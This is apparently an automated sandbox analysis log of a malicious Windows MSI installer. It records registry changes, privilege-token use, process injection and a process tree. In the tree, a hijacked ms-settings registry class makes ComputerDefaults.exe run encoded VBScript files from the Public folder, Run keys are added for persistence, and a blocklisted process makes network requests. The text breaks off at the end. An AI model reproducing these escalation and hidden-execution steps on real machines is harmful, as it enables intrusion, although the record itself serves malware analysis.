Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\Shell\open\command\ = "AppX8mn6f6acw2d3hves535dpq0zqnxqkec7"	MsiExec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	ComputerDefaults.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "887"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "1451"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "1534"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\bing.com	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	MsiExec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	MsiExec.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3048	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
4312	MsiExec.exe
4312	MsiExec.exe
2204	msiexec.exe
2204	msiexec.exe
2468	chrome.exe
2468	chrome.exe
3068	chrome.exe
3068	chrome.exe
3752	chrome.exe
3752	chrome.exe
3656	chrome.exe
3656	chrome.exe
5668	msedge.exe
5668	msedge.exe
5380	msedge.exe
5380	msedge.exe
6112	identity_helper.exe
6112	identity_helper.exe
5344	chrome.exe
5344	chrome.exe
6004	chrome.exe
6004	chrome.exe
4944	chrome.exe
4944	chrome.exe
5340	chrome.exe
5340	chrome.exe
3368	chrome.exe
3368	chrome.exe
3368	chrome.exe
3368	chrome.exe
3732	msedge.exe
3732	msedge.exe
3732	msedge.exe
3732	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3048	Explorer.EXE

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
5380	msedge.exe
5380	msedge.exe
5380	msedge.exe
5380	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1264	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1264	msiexec.exe
Token: SeSecurityPrivilege	2204	msiexec.exe
Token: SeCreateTokenPrivilege	1264	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1264	msiexec.exe
Token: SeLockMemoryPrivilege	1264	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1264	msiexec.exe
Token: SeMachineAccountPrivilege	1264	msiexec.exe
Token: SeTcbPrivilege	1264	msiexec.exe
Token: SeSecurityPrivilege	1264	msiexec.exe
Token: SeTakeOwnershipPrivilege	1264	msiexec.exe
Token: SeLoadDriverPrivilege	1264	msiexec.exe
Token: SeSystemProfilePrivilege	1264	msiexec.exe
Token: SeSystemtimePrivilege	1264	msiexec.exe
Token: SeProfSingleProcessPrivilege	1264	msiexec.exe
Token: SeIncBasePriorityPrivilege	1264	msiexec.exe
Token: SeCreatePagefilePrivilege	1264	msiexec.exe
Token: SeCreatePermanentPrivilege	1264	msiexec.exe
Token: SeBackupPrivilege	1264	msiexec.exe
Token: SeRestorePrivilege	1264	msiexec.exe
Token: SeShutdownPrivilege	1264	msiexec.exe
Token: SeDebugPrivilege	1264	msiexec.exe
Token: SeAuditPrivilege	1264	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1264	msiexec.exe
Token: SeChangeNotifyPrivilege	1264	msiexec.exe
Token: SeRemoteShutdownPrivilege	1264	msiexec.exe
Token: SeUndockPrivilege	1264	msiexec.exe
Token: SeSyncAgentPrivilege	1264	msiexec.exe
Token: SeEnableDelegationPrivilege	1264	msiexec.exe
Token: SeManageVolumePrivilege	1264	msiexec.exe
Token: SeImpersonatePrivilege	1264	msiexec.exe
Token: SeCreateGlobalPrivilege	1264	msiexec.exe
Token: SeCreateTokenPrivilege	1264	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1264	msiexec.exe
Token: SeLockMemoryPrivilege	1264	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1264	msiexec.exe
Token: SeMachineAccountPrivilege	1264	msiexec.exe
Token: SeTcbPrivilege	1264	msiexec.exe
Token: SeSecurityPrivilege	1264	msiexec.exe
Token: SeTakeOwnershipPrivilege	1264	msiexec.exe
Token: SeLoadDriverPrivilege	1264	msiexec.exe
Token: SeSystemProfilePrivilege	1264	msiexec.exe
Token: SeSystemtimePrivilege	1264	msiexec.exe
Token: SeProfSingleProcessPrivilege	1264	msiexec.exe
Token: SeIncBasePriorityPrivilege	1264	msiexec.exe
Token: SeCreatePagefilePrivilege	1264	msiexec.exe
Token: SeCreatePermanentPrivilege	1264	msiexec.exe
Token: SeBackupPrivilege	1264	msiexec.exe
Token: SeRestorePrivilege	1264	msiexec.exe
Token: SeShutdownPrivilege	1264	msiexec.exe
Token: SeDebugPrivilege	1264	msiexec.exe
Token: SeAuditPrivilege	1264	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1264	msiexec.exe
Token: SeChangeNotifyPrivilege	1264	msiexec.exe
Token: SeRemoteShutdownPrivilege	1264	msiexec.exe
Token: SeUndockPrivilege	1264	msiexec.exe
Token: SeSyncAgentPrivilege	1264	msiexec.exe
Token: SeEnableDelegationPrivilege	1264	msiexec.exe
Token: SeManageVolumePrivilege	1264	msiexec.exe
Token: SeImpersonatePrivilege	1264	msiexec.exe
Token: SeCreateGlobalPrivilege	1264	msiexec.exe
Token: SeCreateTokenPrivilege	1264	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1264	msiexec.exe
Token: SeLockMemoryPrivilege	1264	msiexec.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
1264	msiexec.exe
1264	msiexec.exe
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe
3048	Explorer.EXE
3048	Explorer.EXE
5380	msedge.exe
3048	Explorer.EXE
5380	msedge.exe
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3068	chrome.exe
3068	chrome.exe
3068	chrome.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE
3048	Explorer.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3048	Explorer.EXE
4896	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 4312	2204	msiexec.exe	83
PID 2204 wrote to memory of 4312	2204	msiexec.exe	83
PID 4312 wrote to memory of 2308	4312	MsiExec.exe	31
PID 4312 wrote to memory of 2324	4312	MsiExec.exe	30
PID 4312 wrote to memory of 2424	4312	MsiExec.exe	29
PID 4312 wrote to memory of 3048	4312	MsiExec.exe	54
PID 4312 wrote to memory of 768	4312	MsiExec.exe	55
PID 4312 wrote to memory of 3248	4312	MsiExec.exe	56
PID 4312 wrote to memory of 3348	4312	MsiExec.exe	57
PID 4312 wrote to memory of 3412	4312	MsiExec.exe	58
PID 4312 wrote to memory of 3500	4312	MsiExec.exe	59
PID 4312 wrote to memory of 3840	4312	MsiExec.exe	60
PID 4312 wrote to memory of 4896	4312	MsiExec.exe	62
PID 4312 wrote to memory of 1264	4312	MsiExec.exe	80
PID 944 wrote to memory of 3372	944	cmd.exe	95
PID 944 wrote to memory of 3372	944	cmd.exe	95
PID 3372 wrote to memory of 4676	3372	ComputerDefaults.exe	97
PID 3372 wrote to memory of 4676	3372	ComputerDefaults.exe	97
PID 4676 wrote to memory of 1372	4676	conhost.exe	98
PID 4676 wrote to memory of 1372	4676	conhost.exe	98
PID 1656 wrote to memory of 424	1656	cmd.exe	112
PID 1656 wrote to memory of 424	1656	cmd.exe	112
PID 1684 wrote to memory of 5088	1684	cmd.exe	113
PID 1684 wrote to memory of 5088	1684	cmd.exe	113
PID 3564 wrote to memory of 4852	3564	cmd.exe	116
PID 3564 wrote to memory of 4852	3564	cmd.exe	116
PID 1468 wrote to memory of 3396	1468	cmd.exe	114
PID 1468 wrote to memory of 3396	1468	cmd.exe	114
PID 4768 wrote to memory of 4324	4768	cmd.exe	115
PID 4768 wrote to memory of 4324	4768	cmd.exe	115
PID 3384 wrote to memory of 4132	3384	cmd.exe	117
PID 3384 wrote to memory of 4132	3384	cmd.exe	117
PID 2632 wrote to memory of 1068	2632	cmd.exe	126
PID 2632 wrote to memory of 1068	2632	cmd.exe	126
PID 2260 wrote to memory of 2448	2260	cmd.exe	129
PID 2260 wrote to memory of 2448	2260	cmd.exe	129
PID 1068 wrote to memory of 2160	1068	ComputerDefaults.exe	130
PID 1068 wrote to memory of 2160	1068	ComputerDefaults.exe	130
PID 2160 wrote to memory of 292	2160	conhost.exe	131
PID 2160 wrote to memory of 292	2160	conhost.exe	131
PID 2448 wrote to memory of 3064	2448	ComputerDefaults.exe	132
PID 2448 wrote to memory of 3064	2448	ComputerDefaults.exe	132
PID 3064 wrote to memory of 4596	3064	conhost.exe	133
PID 3064 wrote to memory of 4596	3064	conhost.exe	133
PID 4604 wrote to memory of 1056	4604	cmd.exe	146
PID 4604 wrote to memory of 1056	4604	cmd.exe	146
PID 1696 wrote to memory of 1120	1696	cmd.exe	149
PID 1696 wrote to memory of 1120	1696	cmd.exe	149
PID 4660 wrote to memory of 3984	4660	cmd.exe	148
PID 4660 wrote to memory of 3984	4660	cmd.exe	148
PID 3152 wrote to memory of 1676	3152	cmd.exe	147
PID 3152 wrote to memory of 1676	3152	cmd.exe	147
PID 4292 wrote to memory of 1528	4292	cmd.exe	150
PID 4292 wrote to memory of 1528	4292	cmd.exe	150
PID 3804 wrote to memory of 1160	3804	cmd.exe	151
PID 3804 wrote to memory of 1160	3804	cmd.exe	151
PID 2656 wrote to memory of 3468	2656	cmd.exe	154
PID 2656 wrote to memory of 3468	2656	cmd.exe	154
PID 3468 wrote to memory of 3548	3468	ComputerDefaults.exe	155
PID 3468 wrote to memory of 3548	3468	ComputerDefaults.exe	155
PID 3548 wrote to memory of 3128	3548	conhost.exe	156
PID 3548 wrote to memory of 3128	3548	conhost.exe	156
PID 3036 wrote to memory of 2960	3036	cmd.exe	169
PID 3036 wrote to memory of 2960	3036	cmd.exe	169

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2424

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies registry class
PID:2324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
- Adds Run key to start application
- Modifies registry class
PID:2308
- C:\Windows\System32\cmd.exe
  /c ComputerDefaults.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\system32\ComputerDefaults.exe
    ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3372
  - - C:\Windows\system32\conhost.exe
      "conhost.exe" wscript /B /E:VBScript.Encode "../../Users/Public/RURRUJUJ.sstz"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\Windows\system32\wscript.exe
        
        wscript /B /E:VBScript.Encode ../../Users/Public/RURRUJUJ.sstz
        5⤵
        
        PID:1372

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
PID:3048
- C:\Windows\system32\msiexec.exe
  msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\Nicht bestätigt 172391.msi"
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1264
- - C:\Windows\System32\cmd.exe
    /c ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1068
    - - C:\Windows\system32\conhost.exe
        
        "conhost.exe" wscript /B /E:VBScript.Encode "../../Users/Public/TJOFMFRFMKKQ.sstz"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2160
      - C:\Windows\system32\wscript.exe
        
        wscript /B /E:VBScript.Encode ../../Users/Public/TJOFMFRFMKKQ.sstz
        6⤵
        
        PID:292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffedb304f50,0x7ffedb304f60,0x7ffedb304f70
    3⤵
    PID:4300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1632 /prefetch:2
    3⤵
    PID:3664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2012 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2280 /prefetch:8
    3⤵
    PID:3432
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2944 /prefetch:1
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3128 /prefetch:1
    3⤵
    PID:4680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3680 /prefetch:1
    3⤵
    PID:3548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4396 /prefetch:8
    3⤵
    PID:3592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4624 /prefetch:8
    3⤵
    PID:2004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4748 /prefetch:8
    3⤵
    PID:3356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3648 /prefetch:8
    3⤵
    PID:520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5064 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4992 /prefetch:8
    3⤵
    PID:3944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5044 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5240 /prefetch:8
    3⤵
    PID:5132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5336 /prefetch:8
    3⤵
    PID:5192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:5224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1572 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5100 /prefetch:8
    3⤵
    PID:3852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1496 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
    3⤵
    PID:1536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5068 /prefetch:8
    3⤵
    PID:6028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5240 /prefetch:2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2260 /prefetch:8
    3⤵
    PID:3208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2228 /prefetch:8
    3⤵
    PID:5200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3468 /prefetch:8
    3⤵
    PID:1120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2572 /prefetch:8
    3⤵
    PID:3580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5132 /prefetch:8
    3⤵
    PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4452 /prefetch:8
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1420 /prefetch:8
    3⤵
    PID:4040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,1428223295104939744,15713695179842939191,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=992 /prefetch:8
    3⤵
    PID:2448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
